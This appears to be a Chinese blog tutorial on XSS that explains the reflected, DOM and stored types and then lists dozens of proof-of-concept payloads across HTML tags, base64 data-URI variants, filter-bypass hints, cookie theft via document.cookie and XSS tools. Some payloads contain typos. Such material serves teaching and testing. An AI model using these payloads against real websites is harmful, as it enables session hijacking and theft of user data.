xss漏洞

一、漏洞介绍

xss:跨站脚本攻击(Cross Site Scripting)
攻击者向web页面中插入恶意js代码,当用户浏览该页时,触发代码,从而达到恶意攻击目的。

二、产生原因

未对用户输入进行过滤、转义而直接输出到页面。导致用户可以利用javascript、html等执行恶意代码。

三、产生条件

  1. 可能存在控制的输入点
  2. 前端页面未过滤js

四、漏洞危害

  1. 窃取管理员账号或cookie,登录后台。对数据库进行非法的增删改查等操作。
  2. 窃取用户的个人信息或登录账号;登录账号冒充用户身份进行非法操作;对用户账号安全产生威胁。
  1. 网站挂马。将恶意代码嵌入web应用中,待用户浏览页面时,将木马植入用户计算机。
  2. 发送广告或垃圾信息,影响用户使用体验。

五、应用场景

  1. 数据交互的地方

get、post、cookies、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

 

  1. 数据输出的地方

用户资料

关键词、标签、说明

文件上传

六、漏洞分类

1. 反射型

反射型XSS又称非持久性XSS,这种攻击往往具有一次性。

攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问链接时,服务器接收该目标用户的请求并进行处理,然后服务器带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

2. DOM型

DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。

用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

3. 存储型

这种攻击多见于论坛,博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

4. 区别

xss为什么区分三种类型?
按照前端、后端、数据库区分:
反射型:经过后端,不经过数据库
存储型:经过后端,经过数据库

dom型:不经过后端,是基于文档对象模型的一种漏洞

七、漏洞利用

1. 标签

img标签

<img src=javascript:alert("xxs")>
<img src=javascript:alert(string.formcharcode(88,83,83))>
<img src="url" style='xss:expression(alert(/xss));'>
<img style="background-image:url(javascript:alert('xss'))">
<img src="x" one rror=alert(1)>

<img src="1" one rror=eval("alert('xss')")>
<img src=1 onm ouseover=alert('xss')>

 

a标签

<a href="javascript:alert('xss')">aa</a>

<a href=javascript:eval(alert('xss'))>aa</a>

<a href="javascript:aaa" onm ouseover="alert(/xss/)">aa</a>

<a href="" onclick=alert('xss')>aa</a>

<a href="" onclick=eval(alert('xss'))>aa</a>

<a href=kycg.asp?ttt=1000 onm ouseover=prompt('xss') y=2016>aa</a>

 

input标签

<input value="" onclick=alert('xss') type="text">

<input value="" onm ouseover=prompt('xss')>

<input value=""><script>alert('xss')</script>

 

form标签

<form action=javascript:alert('xss') method="get">

<form method=post action=aa.asp?onmouseover=prompt('xss')>

<form method=post action=aa.asp? onm ouseover=alert('xss')>

<form action=1 onm ouseover=alert('xss)>

base64编码

<form method=post action="data:text/html;base64,<script>alert('xss')">

<form method=post action="data:text/html;base64,

PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

iframe标签

<iframe src=javascript:alert('xss');height=5width=1000 ></iframe>

<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>

base64编码

<iframe src="data:text/html;base64,<script>alert('xss')</script>">

<iframe src="data:text/html;base64,

PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe src="aaa" onm ouseover=alert('xss') /><iframe>

<iframe src="javascript:prompt(`xss`)"></iframe>

 

svg标签

<svg onl oad=alert(1)>

2. 绕过

大小写、双写、编码等……

3. 获取信息

  1. document.cookie

需要有回显输出位,alert等

  1. <script src=//></script>

插入攻击脚本

4. 工具

  1. 在线平台

ngxpt.co

  1. xsstrike

八、防御与修复

对用户输入进行过滤和转义。

上一篇:c语言笔记 第三章 循序程序设计(个人记录用)


下一篇:async和await 异步处理